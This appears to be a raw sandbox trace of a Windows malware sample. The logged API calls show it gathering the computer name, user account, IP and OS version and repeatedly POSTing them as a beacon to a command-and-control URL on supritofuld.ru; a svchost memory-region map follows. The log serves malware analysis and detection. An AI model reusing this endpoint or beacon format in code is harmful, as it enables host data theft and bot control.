TokenInformationClass=0x1, TokenInformation=0x7128a0, TokenInformationLength=0x24, ReturnLength=0xef4e4 | out: TokenInformation=0x7128a0, ReturnLength=0xef4e4) returned 1 [0099.148] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x7128a8*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4)), Name=0xef50c, cchName=0xef4f8, ReferencedDomainName=0xef610, cchReferencedDomainName=0xef500, peUse=0xef4dc | out: Name="aDU0VK IWA5kLS", cchName=0xef4f8, ReferencedDomainName="AUFDDCNTXWT", cchReferencedDomainName=0xef500, peUse=0xef4dc) returned 1 [0099.150] lstrcpyA (in: lpString1=0xef728, lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0099.150] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2="\\" | out: lpString1="AUFDDCNTXWT\\") returned="AUFDDCNTXWT\\" [0099.150] lstrcatA (in: lpString1="AUFDDCNTXWT\\", lpString2="aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT\\aDU0VK IWA5kLS" [0099.150] lstrcatA (in: lpString1="AUFDDCNTXWT @ ", lpString2="AUFDDCNTXWT\\aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS" [0099.150] lstrcpyA (in: lpString1=0xefe48, lpString2="87.142.159.132" | out: lpString1="87.142.159.132") returned="87.142.159.132" [0099.150] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0099.150] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0099.150] GetNativeSystemInfo (in: lpSystemInfo=0xef910 | out: lpSystemInfo=0xef910*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0099.150] wsprintfA (in: param_1=0xef948, param_2="GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" | out: param_1="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0099.150] lstrlenA (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0099.150] lstrlenA (lpString="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0099.150] InternetCrackUrlA (in: lpszUrl="http://supritofuld.ru/ls5/forum.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xef8d0 | out: lpUrlComponents=0xef8d0) returned 1 [0099.150] InternetConnectA (hInternet=0xcc0004, lpszServerName="supritofuld.ru", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0099.150] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/ls5/forum.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407048*="*/*", dwFlags=0x84080100, dwContext=0x0) returned 0xcc000c [0099.150] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0xef948*, dwOptionalLength=0x78 | out: lpOptional=0xef948*) returned 1 [0099.373] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xef91c, lpdwBufferLength=0xef90c, lpdwIndex=0x0 | out: lpBuffer=0xef91c*, lpdwBufferLength=0xef90c*=0x4, lpdwIndex=0x0) returned 1 [0099.373] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2180020, dwNumberOfBytesToRead=0x1ffffff, lpdwNumberOfBytesRead=0xefe90 | out: lpBuffer=0x2180020*, lpdwNumberOfBytesRead=0xefe90*=0xc) returned 1 [0099.373] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0099.374] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0099.374] Sleep (dwMilliseconds=0xea60) [0110.753] Sleep (dwMilliseconds=0xea60) [0120.788] GetVersion () returned 0x1db10106 [0120.788] GetComputerNameA (in: lpBuffer=0xef82c, nSize=0xef938 | out: lpBuffer="AUFDDCNTXWT", nSize=0xef938) returned 1 [0120.788] lstrcatA (in: lpString1="", lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0120.788] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2=" @ " | out: lpString1="AUFDDCNTXWT @ ") returned="AUFDDCNTXWT @ " [0120.788] EnumProcesses (in: lpidProcess=0xee2ec, cb=0x1000, lpcbNeeded=0xef4f8 | out: lpidProcess=0xee2ec, lpcbNeeded=0xef4f8) returned 1 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ec) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x258) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x318) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x354) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x398) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f0) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x160) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x11c) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x40c) returned 0x0 [0120.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x510) returned 0x3e0 [0120.790] GetProcessImageFileNameA (in: hProcess=0x3e0, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\taskhost.exe") returned 0x35 [0120.790] CloseHandle (hObject=0x3e0) returned 1 [0120.790] lstrcpyA (in: lpString1=0xef2ec, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0120.790] lstrcmpiA (lpString1="taskhost.exe", lpString2="explorer.exe") returned 1 [0120.790] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0x3e0 [0120.790] GetProcessImageFileNameA (in: hProcess=0x3e0, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\System32\\dwm.exe") returned 0x30 [0120.790] CloseHandle (hObject=0x3e0) returned 1 [0120.790] lstrcpyA (in: lpString1=0xef2ec, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0120.790] lstrcmpiA (lpString1="dwm.exe", lpString2="explorer.exe") returned -1 [0120.790] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0x3e0 [0120.790] GetProcessImageFileNameA (in: hProcess=0x3e0, lpImageFileName=0xef3f0, nSize=0x104 | out: lpImageFileName="\\Device\\HarddiskVolume1\\Windows\\explorer.exe") returned 0x2c [0120.790] CloseHandle (hObject=0x3e0) returned 1 [0120.790] lstrcpyA (in: lpString1=0xef2ec, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0120.790] lstrcmpiA (lpString1="explorer.exe", lpString2="explorer.exe") returned 0 [0120.790] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x568) returned 0x3e0 [0120.790] OpenProcessToken (in: ProcessHandle=0x3e0, DesiredAccess=0x20008, TokenHandle=0xef4e0 | out: TokenHandle=0xef4e0*=0x3e8) returned 1 [0120.790] GetTokenInformation (in: TokenHandle=0x3e8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xef4e4 | out: TokenInformation=0x0, ReturnLength=0xef4e4) returned 0 [0120.790] GetLastError () returned 0x7a [0120.790] GetTokenInformation (in: TokenHandle=0x3e8, TokenInformationClass=0x1, TokenInformation=0x712870, TokenInformationLength=0x24, ReturnLength=0xef4e4 | out: TokenInformation=0x712870, ReturnLength=0xef4e4) returned 1 [0120.790] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x712878*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4)), Name=0xef50c, cchName=0xef4f8, ReferencedDomainName=0xef610, cchReferencedDomainName=0xef500, peUse=0xef4dc | out: Name="aDU0VK IWA5kLS", cchName=0xef4f8, ReferencedDomainName="AUFDDCNTXWT", cchReferencedDomainName=0xef500, peUse=0xef4dc) returned 1 [0120.791] lstrcpyA (in: lpString1=0xef728, lpString2="AUFDDCNTXWT" | out: lpString1="AUFDDCNTXWT") returned="AUFDDCNTXWT" [0120.791] lstrcatA (in: lpString1="AUFDDCNTXWT", lpString2="\\" | out: lpString1="AUFDDCNTXWT\\") returned="AUFDDCNTXWT\\" [0120.791] lstrcatA (in: lpString1="AUFDDCNTXWT\\", lpString2="aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT\\aDU0VK IWA5kLS" [0120.791] lstrcatA (in: lpString1="AUFDDCNTXWT @ ", lpString2="AUFDDCNTXWT\\aDU0VK IWA5kLS" | out: lpString1="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS") returned="AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS" [0120.791] lstrcpyA (in: lpString1=0xefe48, lpString2="87.142.159.132" | out: lpString1="87.142.159.132") returned="87.142.159.132" [0120.791] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0120.791] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0120.791] GetNativeSystemInfo (in: lpSystemInfo=0xef910 | out: lpSystemInfo=0xef910*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0120.792] wsprintfA (in: param_1=0xef948, param_2="GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" | out: param_1="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0120.792] lstrlenA (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0120.792] lstrlenA (lpString="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0120.792] InternetCrackUrlA (in: lpszUrl="http://supritofuld.ru/ls5/forum.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xef8d0 | out: lpUrlComponents=0xef8d0) returned 1 [0120.792] InternetConnectA (hInternet=0xcc0004, lpszServerName="supritofuld.ru", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0120.792] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/ls5/forum.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407048*="*/*", dwFlags=0x84080100, dwContext=0x0) returned 0xcc000c [0120.792] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0xef948*, dwOptionalLength=0x78 | out: lpOptional=0xef948*) returned 1 [0120.987] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xef91c, lpdwBufferLength=0xef90c, lpdwIndex=0x0 | out: lpBuffer=0xef91c*, lpdwBufferLength=0xef90c*=0x4, lpdwIndex=0x0) returned 1 [0120.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2180020, dwNumberOfBytesToRead=0x1ffffff, lpdwNumberOfBytesRead=0xefe90 | out: lpBuffer=0x2180020*, lpdwNumberOfBytesRead=0xefe90*=0xc) returned 1 [0120.987] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0120.987] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0120.987] Sleep (dwMilliseconds=0xea60) [0131.001] Sleep (dwMilliseconds=0xea60) Thread: id = 16 os_tid = 0x9ec Thread: id = 17 os_tid = 0x9f0 Thread: id = 18 os_tid = 0x9f4 Thread: id = 19 os_tid = 0x9f8 Thread: id = 20 os_tid = 0xa00 Thread: id = 22 os_tid = 0xa08 Thread: id = 40 os_tid = 0xa18 Thread: id = 57 os_tid = 0xab8 Thread: id = 169 os_tid = 0x8b4 Process: id = "3" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1af5f000" os_pid = "0x3f0" os_integrity_level = "0x4000" os_privileges = "0x60801000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x9dc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c1e4" [0xc000000f], "LOCAL" [0x7] Region: id = 602 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 603 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 604 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 605 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 606 start_va = 0x50000 end_va = 0x51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 607 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 608 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 609 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 610 start_va = 0x90000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 611 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 612 start_va = 0x180000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 613 start_va = 0x280000 end_va = 0x290fff entry_point = 0x280000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 614 start_va = 0x2a0000 end_va = 0x2a3fff entry_point = 0x2a0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 615 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 616 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 617 start_va = 0x2d0000 end_va = 0x2d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 618 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 619 start_va = 0x3e0000 end_va = 0x567fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 620 start_va = 0x580000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 621 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 622 start_va = 0x720000 end_va = 0x7dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 623 start_va = 0x7e0000 end_va = 0xbd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 624 start_va = 0xc00000 end_va = 0xc7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 625 start_va = 0xca0000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 626 start_va = 0xd40000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 627 start_va = 0xdf0000 end_va = 0xe6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 628 start_va = 0xeb0000 end_va = 0xf2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 629 start_va = 0xfc0000 end_va = 0x128efff entry_point = 0xfc0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 630 start_va = 0x1290000 end_va = 0x138ffff entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 631 start_va = 0x1390000 end_va = 0x148ffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 632 start_va = 0x14b0000 end_va = 0x152ffff entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 633 start_va = 0x1530000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 634 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 635 start_va = 0x1690000 end_va = 0x169ffff entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 636 start_va = 0x16e0000 end_va = 0x175ffff entry_point = 0x0 region_type = private name = "private_0x00000000016e0000" filename = "" Region: id = 637 start_va = 0x1770000 end_va = 0x17effff entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 638 start_va = 0x17f0000 end_va = 0x186ffff entry_point = 0x0 region_type = private name = "private_0x00000000017f0000" filename = "" Region: id = 639 start_va = 0x1880000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 640 start_va = 0x18c0000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 641 start_va = 0x19b0000 end_va = 0x1a2ffff entry_point = 0x0 region_type = private name = "private_0x00000000019b0000" filename = "" Region: id = 642 start_va = 0x1a60000 end_va = 0x1adffff entry_point = 0x0 region_type = private name = "private_0x0000000001a60000" filename = "" Region: id = 643 start_va = 0x1ae0000 end_va = 0x1b9ffff entry_point = 0x1ae0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 644 start_va = 0x1ba0000 end_va = 0x1c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 645 start_va = 0x1c20000 end_va = 0x1d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 646 start_va = 0x1dc0000 end_va = 0x1e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 647 start_va = 0x1e80000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 648 start_va = 0x1f50000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 649 start_va = 0x2030000 end_va = 0x203ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 650 start_va = 0x2040000 end_va = 0x223ffff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 651 start_va = 0x23e0000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 652 start_va = 0x73d40000 end_va = 0x73d42fff entry_point = 0x73d40000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 653 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x77335ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 654 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x7745a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 655 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 656 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 657 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 658 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 659 start_va = 0xff5a0000 end_va = 0xff5aafff entry_point = 0xff5a0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 660 start_va = 0x7fef47f0000 end_va = 0x7fef4807fff entry_point = 0x7fef47f0000 region_type = mapped_file name = "vmictimeprovider.dll" filename = "\\Windows\\System32\\vmictimeprovider.dll" (normalized: "c:\\windows\\system32\\vmictimeprovider.dll") Region: id = 661 start_va = 0x7fef4830000 end_va = 0x7fef488ffff entry_point = 0x7fef4830000 region_type = mapped_file name = "w32time.dll" filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll") Region: id = 662 start_va = 0x7fef6790000 end_va = 0x7fef679bfff entry_point = 0x7fef6790000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 663 start_va = 0x7fef67c0000 end_va = 0x7fef6897fff entry_point = 0x7fef67c0000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 664 start_va = 0x7fef6f70000 end_va = 0x7fef6febfff entry_point = 0x7fef6f70000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 665 start_va = 0x7fef7f70000 end_va = 0x7fef7f77fff entry_point = 0x7fef7f70000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 666 start_va = 0x7fef8030000 end_va = 0x7fef80a3fff entry_point = 0x7fef8030000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 667 start_va = 0x7fef89e0000 end_va = 0x7fef89effff entry_point = 0x7fef89e0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 668 start_va = 0x7fef89f0000 end_va = 0x7fef8a01fff entry_point = 0x7fef89f0000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 669 start_va = 0x7fefa490000 end_va = 0x7fefa4a8fff entry_point = 0x7fefa490000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 670 start_va = 0x7fefa500000 end_va = 0x7fefa563fff entry_point = 0x7fefa501254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 671 start_va = 0x7fefa570000 end_va = 0x7fefa5e0fff entry_point = 0x7fefa571010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 672 start_va = 0x7fefad40000 end_va = 0x7fefad4afff entry_point = 0x7fefad40000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 673 start_va = 0x7fefad50000 end_va = 0x7fefad68fff entry_point = 0x7fefad50000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 674 start_va = 0x7fefad70000 end_va = 0x7fefad84fff entry_point = 0x7fefad70000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 675 start_va = 0x7fefaec0000 end_va = 0x7fefaed7fff entry_point = 0x7fefaec1130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 676 start_va = 0x7fefb630000 end_va = 0x7fefb647fff entry_point = 0x7fefb630000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 677 start_va = 0x7fefb650000 end_va = 0x7fefb660fff entry_point = 0x7fefb650000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 678 start_va = 0x7fefb680000 